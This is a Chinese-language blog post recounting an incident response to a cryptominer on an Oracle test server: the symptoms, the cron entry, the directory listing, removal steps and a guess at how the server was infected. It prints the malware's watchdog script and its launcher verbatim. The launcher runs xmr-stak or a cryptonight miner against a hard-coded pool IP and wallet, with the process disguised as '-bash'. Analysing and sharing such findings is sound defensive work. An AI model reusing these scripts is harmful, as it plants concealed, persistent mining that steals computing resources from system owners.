2019年8月22日

今天一台测试用服务器出现异常,最终确定是挖矿病毒,分享一下排查处理过程。

 

  • 现象

1.ld-linux-x86-64进程占用CPU 90%,用户为oracle。

2.手工kill掉过一会还会再出现。

 

  • 排查过程

1.切换到oracle用户,su - oracle

2.查看定时任务,crontab -e,发现有如下定时任务

/home/oracle/.cache/.a

该文件为隐藏文件且命名无规则,因此推测很有可能是病毒脚本。

3.查看该脚本内容

cat /home/oracle/.cache/.a
#!/bin/sh
if test -r /home/oracle/.cache/.a/bash.pid; then
pid=$(cat /home/oracle/.cache/.a/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /home/oracle/.cache/.a
./run &>/dev/null
exit 0
fi
fi

 

4.查看该脚本要KILL掉的内容

cat /home/oracle/.cache/.a/bash.pid

11876

可以看到,该脚本会干掉所有11876及子进程,bash.pid中内容如何生成,目前无法得知。

 

5.该目录下还有其他程序

[oracle@centos1 .a]$ pwd
/home/oracle/.cache/.a
[oracle@centos1 .a]$ ll -a
total 582576
drwxr-xr-x  3 oracle oinstall       205 Aug 22 18:47 .
drwxr-xr-x. 4 oracle oinstall        28 Aug 16  2018 ..
-rwxr-xr-x  1 oracle oinstall       329 Oct 27  2017 a
-rw-r--r--  1 oracle oinstall         6 Aug 22 18:10 bash.pid
-rw-r--r--  1 oracle oinstall      7581 Apr 16  2018 config.txt
-rw-r--r--  1 oracle oinstall      3275 Aug 16  2018 cpu.txt
-rw-r--r--  1 oracle oinstall        53 Aug 16  2018 cron.d
-rw-r--r--  1 oracle oinstall        23 Aug 16  2018 dir.dir
-rwxr-xr-x  1 oracle oinstall     15125 Feb 21  2016 h32
-rwxr-xr-x  1 oracle oinstall    838583 Feb 21  2016 h64
-rwxr-xr-x  1 oracle oinstall    227220 Oct 22  2017 md32
-rw-r--r--  1 oracle oinstall 595413399 Aug 22 18:10 output.txt
-rw-r--r--  1 oracle oinstall      1590 Jul 26  2018 pools.txt
-rwxr-xr-x  1 oracle oinstall       449 May  6  2018 run
drwxr-xr-x  2 oracle oinstall      4096 Apr 16  2018 stak
-rwxr--r--  1 oracle oinstall       215 Aug 16  2018 upd
-rwxr-xr-x  1 oracle oinstall        24 Oct  5  2017 x

目录中可以看到h32、h64程序,虽无法查看内容,大概可推测是某种算法程序。

 

6.cat run

#!/bin/bash
proc=`nproc`
ARCH=`uname -m`
HIDE="-bash"

if [ "$ARCH" == "i686" ];       then
        ./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://107.191.99.227:80 -u 45rpdjpw4tLg8HEtWv2WhwRu2JYVxfDFB8eqT58RLrXRLHZ4XDVWaWGa722MvbqRpdVyHuRpXY72F2BAsvzLKXKuSi9uBCf -p x >>/dev/null &
elif [ "$ARCH" == "x86_64" ];   then
        ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmr-stak >>/dev/null &
fi
echo $! > bash.pid

 

当前服务器是x86_64架构的,可看到ld-linux-x86-64.so.2会作为参数传到h64程序中,并且使用了挖矿器xmr-stak,从而造成CPU使用率100%

 

  • 解决办法

1.禁用掉该计划任务

2.删除该文件

 

  • 影响范围

管辖范围内的其他8台Linux服务器暂无此现象

 

  • 如何被感染

文件生成日期:2018-08-16 07:50:47,这个时段应该可以排除U盘感染。

oracle用户创建日期:2018-07-09 09:32:13,是在oracle用户创建后一个月,当前oracle用户密码极为简单,因此推测是通过网络感染,但无法确认传染源。

 

  • 如何预防

做好OS级别的安全基准配置,可避免绝多数漏洞。

Logo

更多推荐